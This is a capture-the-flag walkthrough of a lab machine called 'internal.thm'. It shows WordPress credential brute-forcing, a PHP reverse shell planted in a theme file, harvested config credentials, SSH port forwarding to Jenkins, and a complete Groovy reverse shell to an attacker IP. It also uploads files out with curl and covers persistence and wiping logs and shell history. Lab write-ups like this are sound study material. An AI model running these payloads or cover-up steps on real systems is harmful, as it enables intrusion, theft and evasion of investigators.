You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.
Scope of Work
The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal > information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked > that you secure two flags (no location provided) as proof of exploitation:
User.txt
Root.txt
Additionally, the client has provided the following scope allowances:
Ensure that you modify your hosts file to reflect internal.thm
Any tools or techniques are permitted in this engagement
Locate and note all vulnerabilities found
Submit the flags discovered to the dashboard
Only the IP address assigned to your machine is in scope
(Roleplay off)
I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation > assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.
Note - this room can be completed without Metasploit
+/wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+/wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+/wordpress/: Drupal Link header found with value: <http://internal.thm/blog/index.php/wp-json/>; rel="https://api.w.org/". See: https://www.drupal.org/
+/wordpress/: A Wordpress installation was found.
+/phpmyadmin/: phpMyAdmin directory found.
+/wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
There are several interesting parts to this. Note that you do need to modify your HOSTS file to point to this website by name. So, run:
Terminal window
sudonano/etc/hosts
and then add an entry like (using the actual IP address of your target):
10.10.180.69 internal.thm
This makes it so when you reference the name internal.thm at the command line or in the browser, it will resolve to that IP address.
Anyhow, we have an exposed phpmyadmin instance and a Wordpress instance. I first googled what the default credentials might be for the phpmyadmin, and root:<empty> and root:password did not work. We’ll get back to that.
Running wpscan
Since we have a Wordpress site, we can run something like this:
Terminal window
wpscan--urlhttp://internal.thm/blog/-evp,u
Where the -e is for “enumerate” and vp is for Vulnerable Plugins and u is for user ID ranges.
However, after :15 minutes I got no hits. Actually, I did RE-run this with 50 threads after seeing in the write-up that they used a different technique, and specified 50 threads:
This is notable because this apparently uses the xmlrpc.php, which is a web service - as opposed to /blog/wp-login.php which is a full-on web page. The web page is going to be significantly slower because it needs to re-render the whole page with each response. In summary:
Now that we have a username (admin) and password from the wpscan against RockYou, we can log into the Wordpress site. If you have admin access to a CMS, what is the go-to? Overwrite one of the theme files with a reverse shell, and then execute it. So, from the Wordpress admin, I go into Theme Editor:
And I like to use archive.php. So, I paste my pre-configured PHP Reverse Shell into the archive.php theme file. On my workstation, I spin up netcat to listen for the inbound connection:
Terminal window
clear && nc-lvnp9000
To trigger the Archives page, you can just click on an archived post, like “August 2020”:
And we now have a reverse shell running as www-data.
Unprivileged Access
We are logged in via a reverse shell that we initiated by overwriting a theme file in Wordpress. In our reverse shell:
We are www-data.
We do not have sudo privilege.
Finding group-owned files
One thing that is interesting is we can go see which files we own on the file system. Sometimes that can yield interesting results because it means that this user interacts with those files. I run:
Terminal window
find/-groupwww-data-typef2>/dev/null
This will search from / looking for files (-type f) that are owned by -group www-data and the 2>/dev/null hides any errors. We get back a lot, but take a look at these:
/var/lib/phpmyadmin/blowfish_secret.inc.php
/var/lib/phpmyadmin/config.inc.php
/etc/phpmyadmin/config-db.php
/etc/phpmyadmin/htpasswd.setup
In summary:
/var/lib/phpmyadmin/blowfish_secret.inc.php has the secret used to encrypt the phpmyadmin secrets.
/var/lib/phpmyadmin/config.inc.php is empty.
/etc/phpmyadmin/config-db.php has the phpmyadmin database credentials.
/etc/phpmyadmin/htpasswd.setup just sets is so the admin account has access.
Inspecting Wordpress config
Also just looking around, in /var/www/html/wordpress/wp-config.php there are the database credentials for the Wordpress site. If you did need to exfiltrate data, you can use these credentials from the command line:
Terminal window
mysql-uwordpress-p
The -p alone will prompt you for a password. If you are in a primitive/fragile shell, the input/output might be messed up. However, if you run some proper commands, and then type exit, you will see all of your output. So, from your blank prompt, enter:
Terminal window
showdatabases;
usewordpress;
showtables;
exit
For this room, we already know there is one user and we have access to the web console, so getting access to the databases isn’t needed.
Exposed credentials in file
From further exploration, we find /opt/wp-save.txt which has credentials in it for user aubreanna. We can now SSH in as this user. It looks like we don’t have sudo privilege. You can at least collect your user.txt flag here.
Jenkins instance
We see a jenkins.txt that only says:
Internal Jenkins service is running on 172.17.0.2:8080
By default, unless you’ve changed it, Docker uses 172.17.0.0/16 for its’ default network range. So, this host we’re on might be hosting this Jenkins instance? We can run:
Terminal window
netstat-tupln
To see:
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:42355 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 10.10.180.69:68 0.0.0.0:* -
We’re running SOMEthing on port 8080 but it’s bound to the localhost IP address, so we won’t be able to access it from our workstation. Since we have SSH access though, we could use some SSH port forwarding.
So we are SSH’ing into the target, and from the target’s perspective, we specify the IP address where we want to port forward, which is the underlying Docker container.
{: .prompt-info }
We can now access the Jenkins website from our workstation via: http://127.0.0.1:8080. We are presented with a login screen. Let’s kick off hydra to see if we can find anything:
Choose Groovy from the list, copy that generated code. It’s basically this, cleaned-up, in case you wanted to skim it:
String host ="10.6.90.119";
int port =9000;
String cmd ="sh";
Process p =newProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s =newSocket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() >0) so.write(pi.read());
while (pe.available() >0) so.write(pe.read());
while (si.available() >0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};
p.destroy();
s.close();
You can paste this in Jenkins while running Netcat locally, listening for a connection:
Terminal window
nc-lvnp9000
and then click “Run” and we now have a reverse shell from the operating environment where Jenkins is running.
Privilege Escalation / Privileged Access
We look around and basically:
We’re running as the jenkins account, UID=1000.
We only belong to the jenkins group.
Our home folder is /var/jenkins_home. In there is the configuration for this instance.
Let’s dig in to see what we can find.
Running Linpeas
First, let’s get Linpeas on there and running. So, we run a quick web server from my ~/Downloads/ folder where I’ve already downloaded Linpeas with:
Terminal window
# Switch to the downloads folder
cd~/Downloads/
# Start a web server
python3-mhttp.server8000
Then, over on the Jenkins machine run:
# Switch to the /tmp folder where we will have write access
cd /tmp
# Download the script
wget http://10.10.10.10:8000/linpeas.sh
# Mark it as executable
chmod +x ./linpeas.sh
# Run it and capture the results into a file, where we can read it more easily later
./linpeas.sh 2>&1 > ./linpeas.log
This results in Linpeas running and outputting STDOUT and STDERR to the linpeas.log file, which we’ll pull back to our workstation to read. To do that, when this Jenkins machine does NOT have Netcat installed, let’s listen for the file on our workstation with:
Terminal window
nc-lvnp8888>./linpeas.log
This just takes all of the bytes that it gets on that port, and dumps them to this file. Now on the target Jenkins machine, we can ship this log file to our workstation with Curl:
Terminal window
curl-T./linpeas.loghttp://10.10.10.10:8888/
Reviewing the linpeas.log, the Linux Exploit Suggester lists several CVE’s (all marked as “less probable”):
There were also some container breakouts specified, but reading up on them, they require that we be running root in this container, which we’re not.
Exposure of a file
In the end, in the /opt/ folder there is note.txt file that exposes credentials. You can use those to SSH into the box:
Terminal window
sshroot@$TARGET
One interesting follow-up, not only can we now see the rest of the Wordpress server we started from, we can also see the Jenkins Docker container we were just on too:
Terminal window
dockerps
Which shows:
root@internal:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7b979a7af778 jenkins/jenkins "/sbin/tini -- /usr/…" 3 years ago Up 2 hours 127.0.0.1:8080->8080/tcp, 50000/tcp jenkins
You can get your final flag now from /root/root.txt.
PHASE 4: Maintaining Access & Persistence
This is a test/CTF machine, so this is out of scope. However, in a Red Team scenario, we could:
Add SSH key to /root/.ssh/authorized_keys
Create a privileged account that wouldn’t draw attention (ex: operations) or an unprivileged account and give it sudo access via group or directly in the /etc/sudoers file.
Install some other backdoor or service.
PHASE 5: Clearing Tracks
This is a test/CTF machine, so this is out of scope. However, in a Red Team scenario, we could:
Delete Logs
Delete relevant logs from /var/log/ - although that might draw attention.
This searches for all files under /var/log/ and for each file found, searches for 10.10.2.14 (replace this with your IP) and and replace anywhere that is found with 127.0.0.1.
OPTION 2: Complex
You could come up with your own scheme. For example, you could generate a random IP address with:
I’d like this to use a new, unique, random IP address for every instance found, but sed doesn’t support command injection in the search/replace operation. However, you could generate a random IP address to a variable and use that for this search and replace, like below. Note that the 2> /dev/null hides any error messages of accessing files.
As separate statements
In case you want to work out each individual piece of this, here they are as separate statements:
This is something you could copy/paste, and just change your IP address.
Basically, just set your srcip to your workstations’ IP first, and MAKE SURE to run this with a space prefixed, so this command doesn’t get written to the shell’s history files (e.g. ~/.bash_history, ~/.zsh_history, etc.)
or optionally, start a new shell, turn off command history, AND start the command with a space prefixed (which also should not add the command to the shell history), then exit out of that separate process:
The key idea here is that hiding your address from the logs would be pointless if the command for hiding your address from the logs were in a log some place!
Wipe shell history
For any accounts that we used, if we don’t mind that this will destroy valid entries of the user too (and give them an indication their account was compromised), run a comand like this with tee writing out nothing/null to multiple files at once:
